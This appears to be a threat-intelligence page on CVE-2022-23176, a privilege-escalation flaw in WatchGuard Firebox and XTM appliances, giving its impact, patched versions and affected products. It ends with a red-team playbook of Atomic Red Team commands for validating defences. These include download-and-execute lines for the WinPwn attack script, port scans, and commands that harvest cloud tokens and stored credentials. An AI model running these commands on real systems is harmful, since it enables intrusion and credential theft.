CVE-2022-23176
Overview
This vulnerability is an authentication bypass that arises from improper access control in the management interface of WatchGuard Firebox and XTM appliances. The root cause is exposed management access that allows an attacker with limited credentials to escalate privileges and initiate a privileged management session. The affected component is the Fireware OS management access mechanism in versions prior to specified updates.
Vulnerability Description
WatchGuard Firebox and XTM appliances allow a remote attacker with unprivileged credentials to access the system with a privileged management session via exposed management access. This vulnerability impacts Fireware OS before 12.7.2_U1, 12.x before 12.1.3_U3, and 12.2.x through 12.5.x before 12.5.7_U3.
Impact
An attacker with low-privileged credentials can escalate to full administrative access on the affected Firebox or XTM appliance. This enables unauthorized configuration changes, access to sensitive network management data, and potential disruption of network security controls. The vulnerability requires the attacker to have initial access to the management interface but does not require user interaction or higher privilege levels, facilitating lateral movement and full system compromise within the network environment.
Solution
Update affected WatchGuard Fireware OS versions to 12.7.2_U1 or later, 12.1.3_U3 or later for 12.x branches, and 12.5.7_U3 or later for 12.2.x through 12.5.x versions. Detailed patch instructions and release notes are available at WatchGuard's official security portal (https://securityportal.watchguard.com) and in the Fireware 12.7 and 12.7.2 release notes. No alternative workarounds are documented; applying the vendor-supplied patches is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability affecting WatchGuard Firebox and XTM appliances arises from improper management access controls, allowing remote attackers with unprivileged credentials to escalate their privileges to a management session. This flaw is particularly concerning as it permits unauthorized users to gain access to sensitive system configurations and management features. The issue is present in multiple versions of Fireware OS, specifically those prior to 12.7.2_U1, 12.x before 12.1.3_U3, and 12.2.x through 12.5.x before 12.5.7_U3. The underlying technical deficiency lies in the exposed management interfaces that do not adequately enforce authentication and authorization checks, enabling attackers to exploit these weaknesses.
Attack vectors for this vulnerability primarily involve remote exploitation. An attacker could leverage unprivileged credentials, which may be obtained through various means such as phishing or credential stuffing, to access the management interface. Once inside, the attacker could execute commands that would typically require elevated privileges, thereby compromising the integrity and confidentiality of the system. Scenarios may include altering firewall rules, accessing sensitive logs, or even disabling security features, which could lead to further exploitation of the network. The ease of access combined with the potential for significant control makes this vulnerability particularly attractive to malicious actors.
The real-world impact of this vulnerability is profound, especially for organizations relying on WatchGuard appliances for their network security. An attacker gaining privileged access could lead to severe business risks, including data breaches, loss of customer trust, and potential regulatory penalties. The ability to manipulate firewall settings or intercept traffic could result in unauthorized access to sensitive information, which is especially critical for industries handling personal data or financial transactions. The financial implications of such breaches can be substantial, encompassing both immediate remediation costs and long-term reputational damage.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating Fireware OS to the latest version is crucial, as patches are released to address known vulnerabilities. Additionally, organizations should enforce strict access controls, ensuring that only authorized personnel have management access to the appliances. Monitoring and logging access attempts can also help in identifying suspicious activities, allowing for timely responses to potential breaches. Employing intrusion detection systems can further enhance security by alerting administrators to unusual patterns of behavior indicative of exploitation attempts.
In conclusion, the vulnerability in WatchGuard Firebox and XTM appliances poses a significant threat to network security, enabling unauthorized access to privileged management functions. The potential for exploitation through remote access underscores the need for robust security practices, including timely updates and stringent access controls. Organizations must remain vigilant and proactive in their cybersecurity strategies to mitigate the risks associated with such vulnerabilities, safeguarding their systems and sensitive data from malicious actors.
CSURFACE threat intelligence has identified a marked escalation in activity related to CVE-2022-23176, as evidenced by a recent emergence of exploitation attempts detected across multiple environments. This vulnerability’s inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog underscores its growing prominence and the urgency for defenders to prioritize it. Additionally, the assignment of a high CVSS score of 8.8 and the appearance of a significant Exploit Prediction Scoring System (EPSS) value indicate an increased likelihood of exploitation in the wild. Our telemetry shows a continuing upward trend in exploit attempts, signaling that threat actors are actively probing affected WatchGuard Firebox and XTM appliances for privilege escalation opportunities. Although no new exploit code has been publicly disclosed, the convergence of these factors elevates the overall threat level from moderate to high. This shift reflects a heightened risk environment where unprivileged credentials can be leveraged remotely to gain privileged management access, potentially enabling lateral movement and deeper network compromise. Defenders should interpret these developments as a clear indication that adversaries are intensifying efforts to exploit this vulnerability, increasing the probability of successful intrusions if mitigations are not applied promptly.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Watchguard | Fireware | All |
cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | All |
cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.1.3 |
cpe:2.3:o:watchguard:fireware:12.1.3:-:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.1.3 |
cpe:2.3:o:watchguard:fireware:12.1.3:u1:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.1.3 |
cpe:2.3:o:watchguard:fireware:12.1.3:u2:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.5.7 |
cpe:2.3:o:watchguard:fireware:12.5.7:-:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.5.7 |
cpe:2.3:o:watchguard:fireware:12.5.7:u1:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.5.7 |
cpe:2.3:o:watchguard:fireware:12.5.7:u2:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | 12.7.2 |
cpe:2.3:o:watchguard:fireware:12.7.2:-:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.